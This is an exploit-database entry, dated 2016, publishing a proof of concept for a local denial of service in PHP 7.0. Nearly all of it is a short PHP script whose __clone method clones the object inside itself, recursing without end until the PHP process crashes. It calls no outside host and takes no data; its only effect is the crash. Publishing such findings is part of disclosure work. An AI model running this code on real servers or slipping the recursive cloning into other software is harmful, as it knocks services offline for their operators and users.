PHP 7.0 - Object Cloning Local Denial of Service



EKU-ID: 5807 CVE: OSVDB-ID:
Author: Yakir Wizman Published: 2016-08-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<?php
#############################################################################
## PHP 7.0 Object Cloning Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class MyCloneableClass
{
    public $obj;
    function __clone()
    {
        $this->obj = clone $this;
        return $this->obj;
    }
}
$obj    = new MyCloneableClass();
$obj2   = clone $obj;
?>